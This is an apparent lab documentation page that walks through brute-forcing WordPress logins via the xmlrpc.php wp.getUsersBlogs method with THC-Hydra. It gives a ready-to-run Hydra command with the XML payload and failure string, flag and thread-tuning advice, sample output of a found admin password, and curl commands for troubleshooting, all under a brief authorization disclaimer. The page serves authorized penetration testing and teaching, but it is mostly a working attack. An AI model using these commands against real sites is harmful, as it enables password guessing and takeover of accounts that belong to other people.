Skip to main content
Use these techniques only against systems you own or have explicit written authorization to test. Unauthorized access is illegal and unethical.

What is Hydra?

THC-Hydra is a fast and flexible network login brute-forcer that supports dozens of protocols, including HTTP form-based authentication. Unlike WPScan, Hydra is protocol-agnostic — it does not have built-in WordPress awareness. Instead, you supply the HTTP method, the target path, the POST body (including the XML-RPC payload), and the string that indicates a failed login attempt. Hydra substitutes ^USER^ and ^PASS^ placeholders in the body for each credential pair it tests.

Prerequisites

Hydra installed

Install via your package manager: apt install hydra on Debian/Ubuntu, or brew install hydra on macOS. Confirm with hydra -h.

Lab WordPress target

A WordPress instance that you control or have authorization to test, with xmlrpc.php accessible at /lab/xmlrpc.php.

xmlrpc.php accessible

Verify with curl -s http://TARGET/lab/xmlrpc.php. You should receive the “XML-RPC server accepts POST requests only.” message.

Wordlists downloaded

Both users.txt and passwords.txt from this repository must be present on your machine.

Running the attack

1

Verify xmlrpc.php is accessible

Confirm the endpoint is reachable before launching Hydra:
curl -s http://TARGET/lab/xmlrpc.php
Expected response:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value><string>XML-RPC server accepts POST requests only.</string></value>
    </param>
  </params>
</methodResponse>
2

Run Hydra with the XML-RPC POST form

Replace TARGET with your lab host (hostname or IP, without http://):
hydra -L users.txt -P passwords.txt TARGET http-post-form \
  "/lab/xmlrpc.php:<?xml version='1.0'?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>^USER^</string></value></param><param><value><string>^PASS^</string></value></param></params></methodCall>:Incorrect username or password" \
  -t 50
The third colon-separated segment (Incorrect username or password) is the failure string. Hydra treats any response containing this string as a failed attempt.
3

Review the output

Hydra prints valid credentials as it finds them. At the end of the run, a summary lists all discovered pairs.

Flag and argument reference

Specifies the username wordlist file. The uppercase -L reads usernames from a file line by line. Use lowercase -l username to target a single known username instead.
Specifies the password wordlist file. The uppercase -P reads passwords from a file line by line. Use lowercase -p password to test a single password.
The hostname or IP address of the target, without a protocol prefix. Hydra constructs the full URL from this value combined with the http-post-form module and the path in the form string.
Selects Hydra’s HTTP POST form module. This module sends an HTTP POST request to the specified path with the specified body and checks the response for the failure string.
The argument after http-post-form is a single string with three colon-separated parts:
  1. Path/lab/xmlrpc.php
  2. POST body — The XML-RPC payload with ^USER^ and ^PASS^ placeholders
  3. Failure stringIncorrect username or password
Hydra replaces ^USER^ and ^PASS^ with each credential pair before sending the request.
These literal strings inside the POST body are replaced by Hydra at runtime with the current username and password from the wordlists. They must appear exactly as shown — uppercase, surrounded by carets.
Number of parallel connection threads. Higher values increase speed but also increase load on the target. 50 is a good default for a local lab VM. Reduce to 10 or lower for shared environments.

How wp.getUsersBlogs works

The XML-RPC method wp.getUsersBlogs returns a list of blogs associated with a given WordPress user account. It requires a valid username and password. When credentials are wrong, WordPress returns a fault response containing the text Incorrect username or password. This makes it ideal for brute-forcing: Hydra sends the XML payload, checks the response for the failure string, and if the string is absent, the credentials are valid. The XML payload structure looks like this:
<?xml version="1.0"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param>
      <value><string>USERNAME</string></value>
    </param>
    <param>
      <value><string>PASSWORD</string></value>
    </param>
  </params>
</methodCall>
In the Hydra command, single quotes are used inside the XML instead of double quotes to avoid shell escaping conflicts.

Interpreting the output

Hydra prints progress and results to the terminal:
  • [STATUS] ... tries/min — Throughput indicator. Higher is faster.
  • [80][http-post-form] host: TARGET login: admin password: password123 — A valid credential pair was found.
  • 1 of 1 target successfully completed, 1 valid password found — Summary at the end of a successful run.
Add -o hydra-results.txt to save output to a file automatically.

Adjusting thread count and wait time

FlagDescription
-t 50Number of parallel threads (default: 16)
-w 5Wait time in seconds between retries on error
-W 3Max wait time per connection attempt
-fStop after the first valid credential pair is found
Use -f to stop Hydra immediately after finding the first valid login, which saves time when you only need one set of credentials.

Troubleshooting

The POST body must use single quotes (') around XML attribute values inside the shell command to avoid conflicts with the double quotes used to wrap the full form string argument. If you copy the command from a source that converts quotes, verify the quote characters before running.
The http-post-form module targets HTTP only. For HTTPS targets, use https-post-form instead. Verify the protocol in use with curl -I http://TARGET/lab/xmlrpc.php.
If Hydra reports every attempt as successful (false positives), the failure string does not match the actual WordPress error response. Use curl to send a manual test request with wrong credentials and inspect the raw response to confirm the exact failure string:
curl -s -X POST http://TARGET/lab/xmlrpc.php \
  -d "<?xml version='1.0'?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>wronguser</string></value></param><param><value><string>wrongpass</string></value></param></params></methodCall>"
Reduce -t to lower thread count and add -w 5 to introduce a wait between retries. Verify the target is reachable with curl before running Hydra.
Check that users.txt and passwords.txt exist at the paths you specified and are not empty. Also confirm that TARGET is a hostname or IP only — do not include http:// in the TARGET argument.

Build docs developers (and LLMs) love